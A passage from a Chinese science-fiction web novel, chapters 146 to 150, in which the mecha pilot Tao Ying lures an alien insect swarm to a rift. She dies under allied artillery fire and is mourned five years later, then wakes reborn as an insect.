恒我的装甲满是伤痕，机械手臂缺失了一只，是刚刚被几只虫族围攻，为了脱身，被咬下的。 身边的虫群蠢蠢欲动，陶影低头看了一眼触手怪。 是的，低头看了一眼。 似乎是精神力压力过大，她跟触手怪发生了融合。 于是她现在看到的画面是这样的——西尔维娅的脖子，连接着她的腰，一颗头正在她的腰上努力往身体里挤。 就像什么太空异形一样，从她的小腹长出一颗头……这个画面就连陶影也觉得有点惊悚了。 还违反重力。 这种情况下大檐帽一定要焊在脑子上吗？ 陶影将西尔维娅的帽子往外扯了扯，没动，她皱着鼻子，又一手敲在西尔维娅的后脑勺上，梆梆响。 陶影：“你能不能出来，腰上顶着个脑袋怪吓人的。” 西尔维娅甩了甩头，不赞成道：“出不来，换个办法吧，把你精神力防御收收，我们才能重新融合。” “你出去。”“你收收。”“死人不要那么多意见。” 陶影和西尔维娅之间的气氛僵持三秒，最后因为虫母终于将注意力移到恒我身上，同时收声。 算了，什么融合不融合的，反正之后自然而然会回归一体。 先不纠结这个。 陶影最后看了一眼蚀心虫发出的信息，确认自己的目标后，她下意识抬手，推了推不存在的帽檐。 随后挑起唇角，黑色眼睛流露出几分认真。 “走吧。” S级八足蛛伏在小行星上，磨蹭着身体。 它腹部不停扭动，试图摆脱拖行着的卵鞘——部分瘿虫的幼体破壳，白色蠕虫在它后背爬出水迹，已经开始啃食它。 寄生体让S级虫母状态狂躁，战斗力大幅上涨。 镶嵌在头部的血红色眼睛，小而鼓胀，让人脊梁发麻。 虫母阴气森森地看着陶影，似乎在思考要怎么撕裂这台机甲，才能让自己的怒火和痛苦消散几分。 而陶影似乎没有察觉这份危险，仍在前进。 机甲的燃料气口划出数道流畅的波形，她甩开一圈圈翻滚的虫潮，向裂隙的中心行进。 不断涌上的工虫消耗了大量体力，眼见就要被虫群撕成碎片。 陶影突然跳出几步，踩在虫尸上，旋转几圈。 见缝插针地甩动缆索。 冰锤顺着某个方向飞了出去。 已经被虫族尸体裹得包浆的锤子划出一声闷响，众人这时看清了——冰锤直直向虫母的头部砸去。 虫母八只眼睛也不是白长的，早察觉陶影的动向，飞速扯过身边的工虫，挡住攻击。 冰锤噗嗤一声穿过那具虫尸，缆索微微晃动着，冰锤似乎是停住了，散碎的虫尸遮挡住后面发生的一切。 众人屏息看着那头虫尸飘远。 而片刻后，虫母的头部开始愤怒地甩动。 尖利的螯牙闪过一抹寒光，刺穿冰锤。 原本不小的冰锤，插在巨大的螯牙上，显得像是玩具。 不得不说，攻击并没有对虫母造成任何伤害，只是增大了它的怒气。 外加拉了点嘲讽。 但……冰锤深深卡住了它的螯牙。 不仅如此，随着它暴力的动作，冰锤卡得更紧了。 陶影歪着头看向虫母，眼尾扬起一抹若有若无的微笑。 等的就是这个。 漂浮的缆索被陶影收紧，恒我的机甲瞬间弹了出去。 迎面而来的撞击感不断拍打身体，陶影胸口的骨头有点疼，她咳嗽两声，单手按下精密的零件，金属罐的外壳飞散开，里面砰地弹出一个半米见方的小方块。 里面装着瘿虫的信息素。 恒我落在S级虫母前的瞬间，螯牙穿透它的左腿，陶影并没停住动作，而是迅速将方块顺着口器的通道拍进虫母的身体。 左手不忘一把火烧掉它腹部的卵鞘。 动作一气呵成，就好像提前在大脑里排练过无数遍。 众人心一直揪着，眼下见虫母被信息素弄得晕头转向，虫群似乎也察觉到了虫母的混乱，纷纷向虫母靠拢，也不再攻击，总算松了一口气。 “好，现在只要想办法把那只虫母扔回裂隙里就……等下，陶影怎么朝拂瓦星的方向去了？” “不对，不是拂瓦星的方向，这是……”范东抹了一把额头上的冷汗。 “第十三信标裂隙。”姬亦低声答道。 “看来我们所长的心很大，她不仅想着这一处的战场，甚至连其它裂隙的虫族也想引开。”—— 作者有话说：天气凉啦，大家记得加衣服[摸头] 第147章 亚克联邦首都星,索塞拉星。 第一地外监测站。 这里是亚克联邦观测宇宙异常情况，并做出反应的总指挥中心。 监测站的外观形似浑天仪。 中空球体悬停在行星轨道，外侧十几个大小不一的同心圆环,有规律地旋转着，收取地外信息。 圆环包裹着灯光条带和银色反光条,反射的灯光照亮周围一片。 而内部的监测中心，是银灰色的圆形星盘。 震慑性质的巨大炮筒镶嵌在星盘四周,随时待命。 屏幕上的虫族如星落密布的棋子。 不断移动。 监测站人员都沉默而指尖动作飞快——他们正忙着探查虫族动向,屏幕上的数字信息还没来得及看清,便飞速流过。 棋局的动向，眨眼间风云变幻。 而有一个地方,变化得尤其诡异。 二号监测员眉头一皱,感觉事情不太对劲。 “十七信标的机甲怎么都撤退了,他们的指挥官刚刚不是已经控制住局势了吗？” “就是，那附近的虫族都停止推进战线了 ,甚至有退回虫巢的迹象。” 三号监测员挠挠头：“与其说那些工虫退回虫巢，不如说是退回虫母身边,全力保护虫母。虫群聚合后，沿（A43，B5,C-80）方向下潜至无名星附近的航道……” 一号监测员插嘴道：“无名星？” 三号监测员点点头：“那只S级虫母在附近的裂隙交错移动，它带领的虫群还无意中击坠了一个小型虫群……” “顺手把我们六七一军团的机甲也砸飞了。” “厚礼蟹。” “我看不懂它在干什么。” “雷瓦尔帝国没有给消息吗？他们指挥官人呢？” “那位代号S的指挥官已经超过十分钟没有回应了。我们执统者也很着急战况，刚刚在通讯里都跟那边的人吵起来了。” “吵什么？” “不知道，不过我听见了什么‘外行’，‘所长’，‘果然胡来’之类的词……啊，好像吵完了,我听听录音。” 三号监测员说着套上头戴式耳机，开始捣鼓监听器。 众人一边多线程工作，操作手上的数据，一边余光看向他们的监听大王，想知道那只行动怪异的虫母究竟是怎么回事，但等了很久，三号也没说出个所以然。 有人耐不住性子：“所以执统者跟莉缇安娜吵出个名堂来没有？” “没听清，录音失败了，我再去找雷瓦尔的支援小队问问。” 另一名成员摆摆手：“啊，这个我刚刚问了，支援小队什么都不知道。” “他们刚到帝国，就被指挥官通知撤退，现在正负责第一防线的警戒。” “那虫群的异常状态呢，支援小队说什么没有？” “有倒是……有。”那人语气迟疑，似乎有些不知道该怎么开口，在众人的围攻下，他这才缓缓开口。 “听他们说，指挥官S的机甲冲进虫群的中心，单枪匹马干掉了S级八足蛛……” “指挥官一个人？你确定？” 众人明摆着不信。 “一台机甲干掉S级虫母，你信那群痞子吹吧。” “我还徒手拆机甲呢，什么科幻电影情节，止疼药吃太多产生幻觉了。” 二号监测员冷哼一声，这帮兵痞子嘴里没有一句真话，他果断找到靠谱人脉——姬亦。 但在听完姬亦和那帮兵痞相差无几的描述后，一号监测员，连带着他身后的监测组长，还有刚刚踏入操作室的青璇都十分统一地沉默了。 在场监测员面面相觑，不知道发生了什么。 “怎么了，姬元帅说什么了？” 竟然把他们监测组长和青璇指挥官都干沉默了？ 监测组长欲言又止，止言又欲，最后在青璇指挥官微微点头后，他才开口。 “姬元帅说，如果有一台机甲拖着奇怪的东西过来，让我们暂时不要开炮。” “奇怪的东西是指什么？说得这么模糊不像是老姬的风格啊。” “呃，好像已经来了。” 监测组长的手指，指向宇宙的一方。 而与此同时，监测站内闪烁起红色警告灯，刺目的光线不断提醒着危机的来临。 系统的电子声响起。 【警告，警告，S级虫母靠近，速度三十千米每秒，即将与本站发生冲突，防护盾已自动展开。】 【识别虫母信息中……形态不符合数据库中任何数据，识别失败。】 【S级虫母已进入我方射程内，准备射击。】 【主炮填充中——】 极黑的机甲喷射着气体，如流星般从监测站的顶部掠过。 黑色的流星手中有一根缆索，而她背后拖着的，正是一只奇怪生物。 它如同一个烧焦的肉团，黑了吧唧，半死不活。 隔着屏幕似乎还有一股飘渺的幽香。 “这坨面目全非的生物不会就是……” 众人齐齐吞了一下口水。 难怪刚刚系统没识别出来种族，壳子都战损成这样了，哪里还看得出来是八足蛛啊。 再看，这只虫母后面，浩浩汤汤的一群虫族，不要钱似的往前涌动。 数量是千万级别的。 密集恐惧症看了能立刻晕过去。 “这名指挥官，不会是把刚刚路过的虫族全招来了吧……” 众人一副要死的表情。 这下他们的命都握在陶影手里了。 但凡陶影想拉个人一起走，整个索塞拉星都得陪葬。 “她怎么做到的，这么多虫族都跟着她？” “工虫只会跟着自己家的虫母跑，现在全都跟着她跑，简直乱套了。” “不知道的还以为机甲里装的是3S级精神控制虫母。” 【主炮装填完成，准备发射，如要取消，请十秒内按下紧急按钮……】 “咋办啊？” 监测官正在纠结究竟要不要停止大炮的自动射击，转头看向总指挥官青璇。 青璇盯着舷窗，沉默片刻，示意将防护墙开到最大，她取消主炮的系统控制，自己操作着副炮，朝几只落单的工虫射击。 那几只工虫被炮弹打伤，愤怒转头，翅膀飞速扇动，口中传来穷凶极恶的咆哮。 监测官不知道青璇想做什么，速问：“青璇指挥官，你这是？” 青璇没有回答，军靴踏前一步，高马尾有力地甩动。 她专心致志对着那两只虫族观察了一阵。 果然有异样的地方。 刚刚还被开了炮，对着他们使劲咆哮，想冲过来碰一碰的虫族，三秒后，仿佛失去了记忆，转头跟上了大部队。 虫族的大脑好像被其它东西占据了，完全没精力思考他们的事。 这些虫族对他们毫无兴趣。 青璇面色中有了几分猜测。 青璇：“这些虫族……像是被那头S级虫母身上的某样东西吸引了。” 青璇话音落下的瞬间，监测站屏幕“滋啦”闪烁。 一道强行传输的通讯穿透他们的系统。 画面出现在面前。 黑发黑瞳的机师喘着气，脸侧的发丝被汗水浸透，贴在耳边。 她面色苍白，身体明显已经在漫长的拉锯战中到达了极限，却依靠着精神坚持着，眼神中泛着异常兴奋的光辉。 她的瞳孔有种不符合年纪的幽深，好像曾经坠入深渊。 又好像她就是深渊本身。 众人背脊发凉，产生了一种无法违抗的感觉。 那股强大而充满压迫感的精神力，让他们有一种想要低头跪下的冲动。 陶影似乎也察觉到自己的精神力有些太过外放，轻咳一声，收了收。 然后眼睛弯弯，嘴唇也弯弯。 用无害的声线道。 “大家好啊，第一次见面，有点忙需要你们帮，拯救世界感兴趣不？” 众人：“……” 陶影安排好这边的事情，目光扫过齐整的炮筒，满意地点点头。 她补充了点燃料，就迅速离开，没有多作停留。 黑色机甲掠过亚克联邦最大的第一哨站，飞速往前。 被留下的众人看着恒我逐渐远去的背影，还有数千万头呼啸而过的虫族，松了一口气。 “好恐怖的女人，难怪姬元帅愿意帮她担保。” “我可以收拾收拾退休了。” 监测组长顿了顿：“我一开始明明想骂她有病来着……莫名其妙就觉得她人挺好的，咋回事？” “组长的精神力是A吧，容易受影响。我们都是S级别，影响小一点。青璇指挥官最高，有S++，所以全程都没被她那股奇妙的领导力拉走。青璇指挥官，你怎么了，你脸好白。” 青璇指挥官听到这句话，僵硬地摇了摇头。 “不，我也受到影响了。” 青璇从射击工虫开始，就隐隐觉得虫母身体里有什么东西在吸引虫群，中途更是脑中冒出了“瘿虫的信息素”的判断。 但这个信息是雷瓦尔帝国多年来保守的机密，甚至连亚克联邦的执统者都不知道。 而她根本更不应该知道！ 刚刚青璇以为自己产生的判断，竟然是陶影提前引导过的。 “精神力注入……？” “什么？你是说控制别人的 精神吗？” “那她的精神力得有多高啊？不会是和西尔维娅一样，是3S级别吧？！” 与此同时，亚克联邦的其它哨站也传来好消息。 “虫族跟着指挥官S离开，本星域虫族已清空，危险程度降低，划归第四危险区。” 不止是亚克联邦，切斯特星背后，航道附近十几个全新产生的裂隙，在陶影开着机甲去绕了一圈后，原本在那里的虫族，都被引到同一个区域。 第十三信标裂隙。 附近常常发生星舰不明失踪事件的诡谲地带。 传闻中，一旦进入就再也无法出来。它像宇宙中破开的裂缝，内侧通往另一个空间。 恒我急停到附近，随后陶影下意识仰头。仰到头都酸了，依旧看不见裂缝的尽头。 裂隙的高度是机甲的数百、数千倍，恒我在它面前也显得渺小。 从来没有人敢离裂隙这么近。 陶影的手不可控制地微微颤抖着，她深吸了一口气。 “太紧张了？”身体里传来西尔维娅的声音。 “紧张？” 陶影将耳侧的头发往后一撩，手中的缆索晃动两下。 前有裂隙，后是虫群。 陶影低下头摇了摇，最后嗤笑一声。 “怎么会，是太刺激了。” 第148章 因为距离太远,陶影和切斯特星完全失去联系。共鸣系统断开，在线人数为0。 但对陶影来说，没有太大的影响。 莱门监测中心该做的都做了,很难再帮上她什么忙。 她现在关心的，是各个监测站之间如何配合,以及它们的武器怎么攻击。 把虫群引到这里来，当然是为了一网打尽。 附近的轨道防御平台、小型防卫基地刚刚都接收到了来自莱门监测中心的合作计划,以及陶影亲自提供的射击方案。 现在正在调试武器,做最后的准备。 就连附近最小的机密防卫基地,也收到了消息，他们的防卫基地比较封闭,迷彩全开,在地图上查不到,所以消息是陶影亲自发的。 负责人被陶影一通话说得云里雾里，虽然听不太懂,但稀里糊涂地答应了。 “怎么感觉今天说服别人这么顺利？” 陶影自言自语道。 她甚至都没来得及耍手段，也没拿出莉缇安娜的签名。 这些人就纷纷答应合作。 不过能省点时间,当然是好事。 现在只需要等所有的炮弹装填完成，然后扫平虫群。 陶影丝毫没有察觉到他人莫名的顺从，来自她已经满溢的精神力,低头又确认了一次时间。 还有五分钟，这里的虫群就会消失在炮弹的集火中。 陶影随手摘下西尔维娅头顶的军帽，食指顶着帽檐，若有所思地转悠两圈，随后灵活地将军帽扣在自己的头顶。 再次低头的时候，西尔维娅已经不在了。 驾驶舱空荡荡的，没有触手怪的身影。 她们已经完全融合。 “滴答、滴答。” 陶影沉静地看向恒我之外。 幽深的宇宙中,无数逐渐清醒的虫群和她面对着面。 手上的计时器仍然在滴答作响。 时间一点点减少。 这是无数生命的倒数声。 也许是虫群的，也许是人类的。 也许是她的。 “来吧，再靠近一点。” 陶影说。 虫族拖动着身体，就像循着气味专心寻找食物的野兽，缓缓向陶影缆索的末端靠近。 而不断朝中心聚集的虫群，却在某一刻，突然停止了。 虫群的神智清明起来。 先是一只如同上电般，抖了抖触肢，然后两只、三只，十只，二十只。 一大片虫群茫然地转向四面，观望周围的环境，不知道它们为什么会在这里。 与此同时，数头A级虫母摆脱了信息素的控制，已经率先控制自己王国的子民，向周围蚕食。 B级、C级虫母也平缓过来，开始指挥虫群移动，但因为过于拥挤，虫浪互相拍打着，边缘的虫群逐渐开始向周围扩大防护圈。 像是宇宙平面浮动的波纹，虫群一圈圈漾开。 状态的不可控已经初见端倪。 附近的小型防卫基地内。 负责人走来走去：“那些虫族怎么躁动起来了？” “瘿虫信息素的量不大，提前控制在了对附近人类安全的范围内，再加上已经过去了这么久，对虫群的吸引效果不大了。” “虫族失去控制，岂不是会攻击那台机甲？” “不，陶影有预留时间，虫族失控前，我们就能击发炮弹，如果成功的话，可以将这些虫族全部杀死。” “那更不对了吧！她身后就是裂隙，如果攻击目标是她刚才给出的位置，那她要往哪里躲？” “她手中的S级虫母已经苏醒，目前还起着一定作用，如果她离开，虫母完全失控，虫群的位置就乱了，她定好了炮弹位置，明显一开始就没打算走。” “这……” 众人的争论停止了。 剿灭浩大虫群的炮弹，难道一台机甲能挡得住吗？ 他们看向陶影，像看着一个去送死的人，肃然起敬。 莱门监测中心。 陶影离开赛场后，只给他们发过一条信息，之后就彻底失去了联络，中心的人只能从陶影经过的地外哨站获取她的行进路线和状态信息。 “根据亚克联邦第一哨站青璇指挥官提供的信息，他们将在一分钟后对A2，B34，C78位置进行攻击，所有主炮同时齐射，副炮进行长达十分钟的持续最大输出。” “天玑哨站命令类似，都是先破甲后持续输出，时间点略有错开，估计是为了完全覆盖所有时间点的火力。” “璇玑、摇光等附近的哨站传来的消息也差不多。” 伊琳娜举手：“所以陶影就没有向任何一个哨站请求过防护？全程都在要求火力？” “没有。” “她也没联系你？” “没有。” 叶行晖的声音有些沉默。 他查过了所有的哨站，甚至试图像以前一样侵入陶影的光脑——但失败了。 为了防范莫比乌斯，恒我的防火墙曾经大幅加强，现在叶行晖也无法突破。 伊琳娜：“没有其它办法吗？想办法让她脱离那个位置。” 叶行晖：“可能性很小，而且……” “伴随着附近星球的毁灭，是吗？” 莉缇安娜款步上前，伸手阻拦。 “我们不能救她。” 莉缇安娜掷地有声。 “星际所有子民的安全是最优先的，就算有办法，也没有人能冒着失去数万万生命的危险，去救她一个人。作为朋友我很理解你们的想法，但作为雷瓦尔帝国的王，我不能。” “请理解。” 叶行晖打算强行突破附近的哨站，伊琳娜也很想做点什么。 王族亲卫察觉到他们的动向，迅速提起电磁枪。 而莉缇安娜手在亲卫面前一挡，摇摇头示意他们退下。 她朝叶行晖说：“陶影没有提前联络，就是因为知道你们不会同意。” “这是陶影的选择，你知道我们无法阻止。” “她想做的事情向来都会做到。” 叶行晖：“对，她是。” 她总是这样。 她决定了一切。 叶行晖嘴唇抿得死紧，他说：“但我也有我的选择。” 伊琳娜想起某人的死亡录像，眼圈一红：“混蛋，又玩这个是吧，回头我非得抽死她！” 伊琳娜说着说着，似乎自己也不太相信这个可能性，哽咽两声。 “等她这次也活着回来……我绝对要揍她……” 星舰医疗舱。 林别歌将面色苍白的南卦推进手术室：“南瓜，你撑住！” 急救室的门关上后，林别歌慌乱地走来走去，时不时往小透明窗口探头往里看，但只能看到大量的血瞬间飞到天花板上，破片伤到了南卦大腿主动脉，巡回护士确认血液信息后迅速往外跑。 主刀医生压迫着断裂的血管：“血压降到三十！” “血袋呢？！还没来吗？” “这么多伤员，星舰哪里找得到对应的血源？都用完了！” 没有血袋也无法补液，血压迅速下降，林别歌急得团团转，手边的127通讯器突然响起来。 啊？不是说这人在虫群中心，所有人都联系不上她吗？ 林别歌来不及细想，迅速接通：“影子？” “留了血，去冷库报我名字。” “你，你提前知道？！” “没时间说废话，跑起来。” 林别歌长腿一迈，在走廊里飞速开跑，随后迅速在陶影指定的冷库角落找到了唯一剩下的一箱血，上面什么标志都没有，似乎是特地留给她们的。 她飞快地将血报到巡回护士那里。 “血，快点！” 巡回护士朝她招手，迅速将冷藏箱抱了进去，然后砰地关上门。 手术还在紧锣密鼓地进行， 林别歌心慌得像喝了十倍咖啡，心脏快从喉咙口跳出来了。 陶影冷静的声音从那头传来：“不用太紧张，应该是撤退的时候被飞来的弹片刺伤了，有血就能救。” “你怎么看出来的……算了，反正你脑子比我好使。” 林别歌嘟囔两声，放弃追问这个，但她转而愤怒道：“怎么一个个的都这么不爱惜生命，全冲前面？对了你又是怎么回事，听姬老师说你带着虫群跑那个最大的裂隙去了，你不要命啦？而且刚刚有一个自称小叶的人莫名其妙联系我，问有没有接到你的联络……” 陶影：“你怎么回答的？” 林别歌不知所以：“我当然挂了啊，一听就像诈骗电话。” 陶影的声音似乎顿了顿。 她还笑了声。 “这种时候谁有空给你打诈骗电话……算了，没什么，我自己会回答他的，你把通讯器放到一边，先别挂。” “为什么要放到一边？” “建议你最好不要听。” 陶影话音刚落，林别歌的光脑就噼啪两声，与此同时，倒计时已经到了终点。 漆黑的宇宙，此刻被无尽的光线照亮。 舷窗外传来刺目的光线—— 宛若恒星，宛若宇宙，宛若世界诞生时的模样。 让人睁不开眼。 空寂的宇宙中，原本听不见什么声响，却在这个瞬间传来无数的炮弹声。 那些光线的来源，是火光。 众人肉眼所见，炮弹的弹道完美交错着，但它们飞去的方向，指向同一个地方。 一台极夜般优雅的机甲。 它手臂残缺，只是站在裂隙前，望着切斯特星的方向。 深渊是它的背景，宇宙是它的子宫。 “月障。” 机甲内，似乎传来陶影小声的低吟。 3S级别的精神力护罩瞬间张开，然后是剧烈的震动声。 防护盾层层破裂。 最后，那抹声音也消失在了照亮一切的光线中。 “小影！”“老大！”“混蛋，你不能——” “S，你还是走到了这步。” 莫比乌斯的声音传来。 陶影无暇去听。 她闭上眼睛，轻轻哼歌，仿佛能听见宇宙中炮筒微微转动的声音。 然后渐渐地，歌声停下了。 握在手中的通讯器，从手心飘起。 而那台黑色的机甲，人类历史上第一台知觉机甲，在一道极强的闪光后，和它的机师共同消失在交错的炮火中。 空寂的宇宙内，众人似乎听见有回音传来。 那名牺牲的机师，留下的最后一句话是—— 生命是不会停止的螺旋。 而你我将战斗，直到生命的尽头。 第149章 第十三信标裂隙,一级危险区，D46区域。 “今天收工！” “好嘞。” 三台机甲利落地杀死了几只零星落单的虫族，请示上级后,慢悠悠地往基地方向走。 机师拉住手中的金属网，将里面的虫族尸体牢牢捆住。 队员看了虫族的尸体一眼,随后屁颠屁颠跟在队长身后：“我们收集虫族尸体干什么，做研究？天玑基地好像没有研究项目啊。” 队长乜他一眼：“你哪里调来的？” “呃,切斯特星雷瓦尔联邦共和国……” 那队长摆摆手：“谁让你报国名了,我也雷瓦尔人,问你哪个军团的。” “莱门市第六军团。” 队长冷哼一声：“城里人啊，难怪不知道。我们这里交通不便,很难吃到新鲜肉食,收集虫族当然是为了吃。” 队员大受震撼：“吃,吃？” “高质量蛋白质的含金量懂不懂。”队长一拍他的后脑勺。 “……” “换班了换班了！” 他们将机甲停回基地，砰咚两声,已经咽气的虫族被倒进管道，整备场立刻充满了下班的欢快气氛,众人加快脚步，往食堂冲去。 距离那场战斗已经五年，一切归于平淡。 因为那场战斗对虫群产生的震慑,第十三信标裂隙附近，再也没有发生过大规模的虫群袭击。 只是每隔一段时间，尤其是繁殖期，裂隙内会涌出小型虫群。 人类一开始并不擅长应对这全新的变化，但在多年的斗争中，很快找到了和虫族共存的解决方式。 现在的虫群对大家来说，像是自然灾害一样,只要提前预警，做好准备，就能守好领地。 数年间，再也没有发生死伤重大的虫灾。 大家深知，今日的和平，离不开那位战士。 她战斗到生命的最后一刻，然后哼唱着摇篮曲，回归宇宙。 众人在陶影逝去的地方放置了纪念信标，黑色的金属刻着她的名字和生日。 那是她的墓碑。 摇光战术基地的食堂，是整个亚克联邦最好吃的，每到饭点就很热闹，今天更是十分热闹。 因为今天是陶影的忌日，有不少隔壁基地的机师跑来这里串门——这里离陶影的墓碑最近，他们可以在数公里外，对着墓碑表示自己的敬意。 和平来之不易。 但也有人，并不把这天当作是忌日。 也许是因为陶影曾经死而复生过一次，总是对她的死抱有幻想。 “听说这里的长官也参与了‘月星战役’，你们一定有内部消息吧。” “当年陶影是真的死了？” 有人放下手中的油炸疾蜻，一副“我就知道这场合肯定有人会问这个”的表情，拍拍他的背，随后第无数次开始解释这件事。 “那么多人亲眼见到尸体，还能有假？陶影死前什么都安排好了，甚至帮队友留了血包，结果队友刚刚抢救回来，看见的就是她的尸体，哎。” 那机师摇了摇头，一副可怜可叹的模样。 “听说她的队友之后接受了好长一段时间的心理辅导，都没走出来。” “要我说，当初就不该让几个孩子去认尸。那个情况，以陶影的体质怎么可能活下来，虫族都成碎片了。” “好了好了，吃着饭呢，别说了，”那人拍拍队长的手臂，指向食堂门口，“她们来了。” 两名穿着切斯特星机师服的女性从容地踏入食堂，见有人和她们打招呼，两人也大方回应。 一般人来到前线基地，多多少少有些不适应，但她们却像回到家一样，自然地坐下了。 她们不是前线机师，也不属于这个军团，但拥有进入的权限——因为也参与了当年那场战斗。 其中一位身姿挺拔，看上去挺高，但眼神不太聪明。 另一位眼神清亮，说话轻声细语。 眼神不太聪明的高大女人疯狂打菜，一副势必要吃遍食堂的架势。另一位女性则是小声要了一份营养均衡的套餐。 “她们就是陶影的队友吧，每年都来这里。” 旁桌的女性机师一直埋头干饭，听到这话，眼神突然一亮，起身说了句“让让”，迈着猫一样轻盈的步子，端着金属餐盘就走过去了。 她拍拍手边的猫耳肩章，啪一下坐在林别歌身边，几声招呼过后，爽朗道： “南卦，林别歌，一年不见。今年那机甲狂魔怎么没来？” “柏墨和莱机所找到了一种新型机甲材料，说今年就不来了。话说祝小芮，你怎么在这儿？” “嘿嘿，升职了，刚刚调来不久。” 祝小芮说着，指了指自己胸前的勋章。她跟姬达婳毕业后，直接加入了莱门市的虫族防卫机甲小队，现在经过磨练，已经是高级士官了。 南卦和林别歌在月星战役后，都受了不小的伤，尤其是南卦，因为动脉破裂，失血过多，花了好长一段时间才恢复以前的体质。 两人快要毕业，还没想好未来做什么，总之先拉着柏墨参加了今年的机甲职业联赛。 祝小芮戳戳林别歌的侧腰：“听说今年的几场职业联赛，你们都是冠军？要不要毕业之后直接来摇光基地，我罩你们。” 南卦和林别歌对视一眼，摇摇头。 “不，一年来一次就好了。” 祝小芮这才想起，她们两个似乎因为陶影的死遭受了不小的打击，来这里应该会触景伤情。 她轻咳一声，感觉自己说错话了，不好意思地挠挠头，转移了话题。 “对了，那个叶行晖呢，听说他最后冲破帝国的防线，操作一台无人机甲去了陶影的位置……” 叶行晖的身份是伊琳娜告诉她们的，说是什么陶影的初恋，黑市潜伏的电子智能体。 犹记得队友们当年听到这段话时的震惊。 “黑心队长竟然还有这么纯情的时候？不可能，绝对不可能。话说回来她这初恋竟然是真实存在的吗，我一直以为是为了糊弄人编的。” “而且怎么是电子智能体……什么，你的意思是说，智能管家小叶也是他吗，做饭特别好吃的那个？” ——林别歌当时是这么说的。 至于叶行晖去哪里了，她们也不知道。 南卦缓缓摇头：“伊琳娜姐说，小影死后，再没见过他。” “他消失了。也许是一起离开了吧。” 祝小芮哽咽了声，不知道这话怎么接。 殉、殉情啊？ 本来想换个话题，怎么反倒变得更沉重了。 祝小芮不安地扭动两下，最后看大家都吃完了，如释重负地站起身，收拾好餐盘。 “那我们走吧，宇宙墓地见。” 无名星如同银盘闪着亮白的荧光，像是古老传说中的月星。 大家点燃灯塔的光，群星间闪烁。 百人低头沉默地哀悼。 南卦、林别歌、祝小芮站在星空的最前方，仰视着宇宙墓地。 南卦不知道从哪里掏出一盏纸做的灯，轻微点燃火光。 她捧着灯，将它推向宇宙。 然后幽幽地唱起歌。 ——如果宇宙中有你的灵魂，希望它能指引你回家的方向。 南卦喃喃道：“小影，你还记得吗，当初你和别歌在天台上救下我，帮了我很多。其实说出来不怕你笑话，我现在偶尔还是会做噩梦，但似乎不再害怕了。前段时间，我去第四星系见了我的父母，他们还是和以前一样……但我发现，就算他们再怎么咒骂，我也不会因此受到伤害了。” “就像你说的，我拥有了面对噩梦的勇气。” “我好自豪，好希望你能看见。” 林别歌挺着胸，也说：“我虽然没什么成就，不过切斯特星的美食我已经吃遍了，总之毕业之后，我要一边打工，吃遍星际！” 祝小芮握拳：“那前线就交给我吧！” 远方的切斯特星，也有人看着宇宙的方向。 海台科技总部，女人手里端着酒瓶，对着月色骂了一句混蛋。 “第二次，第二次了，你懂吗！” “我已经帮她收了两次尸了！” 秘书安慰道：“至少这次尸体不是从爱荷华家族的墓地里抢来的。” 伊琳娜：“……” 她不知道为什么更生气了。 秘书无奈地说了句“别发酒疯了，总裁”，在月色下替她披上衣服。 莱门机甲研究所内，一年一度的大日子，众人喝得烂醉，在顶楼拉着柏墨一起划拳。 “你们说，老大怎么会干这种事？牺牲自己拯救别人……一点都不适合她。” “是啊，老大还是适合当坏女人。” 陶影真的死了吗？ 那天，叶行晖拿着修复的‘电子信号’仪器，赶往炮火中心，想要提取陶影的意识，转化成电子信号，这是唯一能救下她的办法。 但叶行晖赶到的时候，已经太迟了。 她真的死了。 莱机所众人想到这里，面色黯然，最后同时碰杯，猛猛灌酒。 “算了，习惯了，老大这人就这样。” “也不是第一次看到她尸体了，其实也没有那么难过……呜。”贝蒂转头开始大吐特吐，费拉尼亚拍拍她的背。 车研究员搓搓手臂，叹气道：“要是老大能回来，哪怕加班一年我也愿意。” “我随三个月。”“我随五天。” 王倚：“怎么就五天，你尊重一下老大的在天之灵。” 贝蒂擦干嘴，冷笑了声，对着太空墓地竖了个中指。 “有本事下来抽我。” …… 忌日仪式结束，大家都离开了。 南卦和林别歌像往年一样，在甲板等了很久，直到那盏灯灭了，宇宙中什么也没有发生。 星空还是像她离开时一般美丽而寂静。 “走吧。” 两人不舍地朝星空看了一眼，慢步回到基地。 而她们离开后，隐隐地，第十三裂隙内闪烁起微弱的光亮。 有什么东西。 将那盏灯吞没其中—— 作者有话说：愿大家都有面对噩梦的勇气。 第150章 “嘟嘟,嘟嘟，嘟，吱——” 似乎有什么生物在耳边焦虑地叫着,时不时推动陶影的身体，想让她翻身。 但因为陶影的身体太过沉重,这生物并没有成功。 不知道为什么，那双手的触感又硬又刺。 很扎人啊朋友。 你是把毛裤穿手上了吗。 陶影“唔”一声,不太舒服地翻了个身。 耳边传来滴滴答答的电报声,响得陶影根本睡不着,闭着眼翻来滚去半天，她干脆不睡了。 叫她起床的声音还是没有停止。 滴滴的响声或长或短,有些像夜晚草丛的虫鸣声,此起彼伏。 总之不是人类的声音。 但神奇的是,声音在进入陶影的大脑后，自动变成了她能听懂的语言。 “127,127号，你醒醒！我们该工作了！” 那电报声大概是这个意思。 怎么都死了还听见有人在催她工作。 而且向来都是她催别人加班,别人催她加班？少之又少。 陶影的朋友，说得最多的话通常是—— “工作狂，再不休息我就上镇静剂了。” “主程序师,你别死工作室里。” “老大，你休息两天吧 ，大家坚持不下去了。” 诸如此类劝她休息的话。 活着的时候拉着同事加班，所以死了同事也要拉着她继续加班吗。 这是什么因果报应。 陶影睁开一只眼，迷迷糊糊地想要盘腿坐起，但发现她的腿……嗯，她的腿不太听使唤。 怎么浑身的触感都不太对劲？ 她的身体和之前不一样了。 身上好像多了点什么零件,又少了点什么零件…… 不过人死了可能的确和之前的情况不太一样吧。 陶影没有太过纠结这个问题。 再次听到“同事”的催促声，她不紧不慢地睁开眼睛，打量了一下周围的环境。 视线变得非常灵敏，视角广阔，身侧些微的空气流动也能迅速察觉。 而她能感觉到这些，是通过眼睛和……和腿上漂浮的……毛？ 不，这不对吧。 陶影猛然察觉到什么，瞬间清醒，咻地从地上跳起来。 身边又响起电报声，陶影循着声音的方向，猝然抬头。 然后终于看清了她“同事”的身影。 身长十米，身体扁平，棕色甲壳，长而柔软的触角，六条纤细的毛腿。 其中一双毛腿，此刻正停留在陶影的甲壳上，试图摇晃她的身体。 是的。 停留在，陶影的，甲壳，上。 陶影不敢相信地转过身体。 因为惯性过大，她多转了三十度，巨大的身体卡顿了一下，然后缓缓往回正了正。 洞窟内有一颗巨大的黑色晶石，表面光滑如同镜面。 此刻，镜面赫然反射出陶影所在的位置。 镜子里，两只形态相同的生物，正靠在一起。 